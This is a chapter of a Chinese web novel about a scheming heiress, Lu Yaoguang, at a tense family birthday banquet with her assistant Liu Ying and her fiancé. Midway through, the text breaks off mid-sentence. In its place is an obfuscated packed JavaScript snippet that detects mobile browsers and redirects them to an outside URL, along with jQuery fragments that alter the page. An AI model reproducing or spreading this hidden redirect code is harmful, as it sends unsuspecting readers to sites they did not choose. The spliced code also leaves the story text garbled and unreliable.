“把头发梳顺,画个眉毛,钱我按整套给你。”陆摇光财大气粗。
既然有钱挣,化妆师也就皱着眉头开始打理刘盈。
作为陆摇光的助理,李议员的生日宴刘盈也有资格参与。不过给她的邀请是晚上那场,中午到底是家宴,她这身份不合适。
她原本打算过来给陆摇光讲完工作就走人的,但眼下肯定是走不了了。
既来之则安之,好歹从前也是见过世面的千金大小姐,刘盈并不害怕这种场面,也知道陆摇光有自己的考量。
她这位上司实在是女孩中很少见的模样,但只要把思路转换过来,就会发现这种模样在继承家业的继承人中一点也不少。
刘盈见过很多这种人,她虽然讲不清他们身上的共同点,但能感觉到那种统一的自大、强硬,只下决定不讲解释。
陆摇光和他们一模一样,有利可图时笑脸相迎,到了没利益的时候用过就扔,看上去对婚约深情款款,实则只贪图一个好用的名头。
这种继承人也一定会和上一任掌权者发生剧烈的碰撞,因为领头的狮子绝对不能有两只。只要他们在长大,就会持续不断地挑战权威,哪怕这种权威就是她生活中最大的后台。
那就难怪她和柳承轩不太对付了,刘盈心想,一艘船上总不能有两位船长。
陆摇光放在梳妆台上的手机振动起来,刘盈乜了一眼,还没看清陆摇光的手掌就已经遮过来。她按掉了手机,并且瞟了一眼好奇的刘盈。
刘盈摊开双手耸了一下肩。
陆摇光的手机震到第四次,刘盈忍不住问:“真的不需要接一下吗?”
陆摇光头也没抬,“不用。”
现在是他们要请自己吃饭,不是自己要依赖他们。
主动权在我,该谁着急谁来请。
在刘盈惊恐的眼神下陆摇光第五次挂断了电话,她还没来得及对此发表什么意见,就听见门外传来柳承轩的声音,“摇光,吃饭了。”
陆摇光给了化妆师一个眼色。
化妆师:“稍等。”
她从容地挽好了刘盈的发尾,将桌面上的妆品收拾干净,临走前还不忘向陆摇光点点头示意。
化妆师推开门,柳承轩带着李东洋站在门外,见到她还很客气地问了声好,“又麻烦你了。”
“不麻烦。”她也点点头,看见李东洋在一旁很不耐烦的样子,“陆小姐妆面比较复杂,让你们久等了。”
两相客套过后,柳承轩总算进了陆摇光的卧室。
刘盈坐在镜子前,真切地瞧到陆摇光在他跨进来的那一刻很轻微地皱了下眉,又在顷刻间换上一张笑脸。
“呦,今天把你放出来了?”她朝李东洋扬了下下巴。
李东洋被她一刺激,立刻要往前冲,越过柳承轩肩膀的那一刻,被一把抓了回去。柳承轩手上的力很大,五指在李东洋手臂上陷出很深的印子。
“摇光。”他的语气里带了一点劝诫,“都在等你吃饭。”
陆摇光便笑,“是吗,我不饿,你们吃。”
李东洋忿忿不平,“给你脸了!”
他说着捞起袖子,挣脱柳承轩的手往前走了几步,手指几乎戳到陆摇光脸上,“叫你吃饭还要三请四催,陆摇光,别不识抬举!”
“是吗,既然我这么不识抬举,别等我吃饭呗。”
“你!”
“好了!”柳承轩呵斥一声,走上来把李东洋拉开,“摇光,你跟他计较什么。伯父伯母也该等急了,怎么都不该让长辈饿肚子。”
陆摇光上下打量过他,点了点头。
刘盈坐在梳妆镜前,头来回从这头扭到那头,看完这个看那个,总觉得这段对话似曾相识。
好像第一次柳承轩带她来李家的时候就是这种场面吧。
陆摇光的身份待遇却是今非昔比了。
她紧紧跟在陆摇光身后,柳承轩拦着李东洋让他们走在前面。两人擦肩的那一刻,刘盈感觉到一阵很轻微的风在她的手背拂过,就好像有谁默默伸出手又收回似的。
刘盈微微回头,看见柳承轩的眼睛。它依旧如同之前那样,对着自己柔情万分,隐约闪烁着星光。见刘盈回头,那双眼睛还冲她弯了一下。
陆摇光趾高气昂走在前面,并不知道背后有人暗度陈仓。
好荒谬,刘盈又一次想起那顿莫名其妙的晚餐。陆摇光明明是要把那个合作方交给自己,却被柳承轩半路跑出来摘了桃子,到最后说是和她合作,眼睛分明是看着柳承轩的。
嘴上说什么这么多年爱的只有我一个,实际上也没见他否认李家赘婿的名头。
说一出做一出,还自我感觉过高。
这男的为什么总在这种不恰当的时候表现自己?
他有病吧!
刘盈跟着陆摇光下楼到了餐厅前,自觉地转弯准备去偏厅。李家的家宴,先不说有没有她的位置,那些聊的内容恐怕就不是她该听的,再说了偏厅吃的和主餐厅一样,还不用讲那么多规矩。
她乐得轻松。
就像陆摇光平常常说的那样,什么面子人格尊严,自己把自己当回事就够了。
人家李家吃饭,她一个姓刘的讲什么上不上桌。
她刚一错脚,陆摇光就跟背后长了眼睛似的停了步,“你往哪儿去?”
刘盈朝偏厅歪了一下头。
“笑话,让外人知道了还以为我们家连多一个女孩的饭都吃不起。”陆摇光拢了一下头发,又不自觉昂起了下巴,显得骄纵十分,“给她加把椅子。”
剧本里是有这一段的,女配看见男主带着女主来参加李家的家宴,心里记恨到发疯,不服自己输给一位落难大小姐,故意羞辱女主,非要让她在主桌坐下,席间言语里多讽刺,闹得大家不欢而散。
彼时女配还高傲地以为自己是李家大小姐,非但没能从李议员的沉默里品出退避,也没能从男主的不满中品出警告。
陆摇光看到这里的时候捡起一副冷嘲热讽的脸,“多么天然的蠢货啊,这种人你们居然觉得她可以帮到男主的事业。”
系统不满,“挑这挑那,你怎么老是这么嘴贱啊!你属ETC的吗?”
陆摇光:“对不起了,我生性见不得蠢货,见了过敏到要死掉。”
系统没有眼睛,看不到她说完这句话之后低下地头颅,和着眼睛里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315742|190154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快要挣脱的嘲讽,把下一句尖锐的话咽了回去。
陆摇光这么一操作,剧情还是那个剧情,可前情后续都明显和不上剧本。系统一时不知道该不该算她的剧情点。
算了,算了,好歹她还记着有剧本这回事呢,发一个以资鼓励算了。
有人搬了凳子,在陆摇光右手边给刘盈加了座位。成了众人焦点的刘盈有点不太适应,摸了摸头发,又揉了揉鼻子,见陆摇光大摇大摆坐下了之后才小心跟着坐下来。
“这不合适吧?”她小声地凑到陆摇光耳边说。
“这有什么不合适的。”陆摇光的回复却是大声的,“说不定有人比我更想让你坐到这里,是吧?”
她的视线转向在自己左手的柳承轩。
柳承轩只是很宠溺地笑了一下,“伯父生日,你好好说话。”
李议员也跟着呵斥,“怎么对承轩说话的,今天要不是他,你这顿就饿着去吧。”
桌上众人都是见过世面的,眼神都没乱飞一下,假装无事发生似的把话题转移到生日宴上。
刘盈坐在旁边,分明听见陆摇光哼了一声。
一阵不详让她背后发紧,她不由得把背挺得更直。
这种席根本就不是吃饭的,桌上人人怀着自己的心思。远来的亲戚想要攀上交情,坐得近的也要网络自己的人脉,确认今年今日自己在这个密密麻麻的网上占据几等的位置。
陆摇光知道自己此刻该说话,不停地说话,就像她对付徐谓那样,把各种各样的暗示灌进李议员的脑子,来加强接下来她们计划的成功率。
但是她就是很不爽,不爽到让她不想说话,不仅不想,还想让现在聒噪的人全都闭嘴。
“……那比我们东洋还大一点。”李夫人的话突然窜进她的耳朵。
主位上坐着的当然是李议员,李夫人带着李东洋坐在他左手,右手依次是柳承轩、陆摇光、刘盈。
因此李夫人要同刘盈说话必须要微微往前倾身。
现在那张脸,也凑得离陆摇光格外近。
她这话起手式刚出,陆摇光和她身边的柳承轩同时皱了眉,都猜到了接下来李夫人要说的话。
陆摇光扭头望向李议员,眼中的意思很明确,“你要让她把这屁话讲完?”
李议员并没有看她,欲盖弥彰地端起酒杯喝了一口。
“那你看我家东洋怎么样?”李夫人还是把这句话问了出来。
“不行!”这句话倒是不用陆摇光来喊了,自有柳承轩代劳。
李议员眼睛一眯,缓缓放下手中酒杯坐直了。
陆摇光也放下餐具,目不斜视地坐正,头仰起来,眼睛里带着不可一世的傲慢。
全场的喧闹一瞬间静下来,众人都同她一样目不斜视地精致了。
“你看,我都忘了,这还有一对。你怕东洋抢你新郎的风头啊?”李议员挂着笑,“没事儿,摇光和东洋都是我们李家的孩子,要办事儿我们绝不厚此薄彼,肯定一碗水端平。”
他说着又看了一眼陆摇光,“你早点定下来多好,不像你哥,这么大家业接过去都没个人搭把手。”
那种不爽猛地加重了。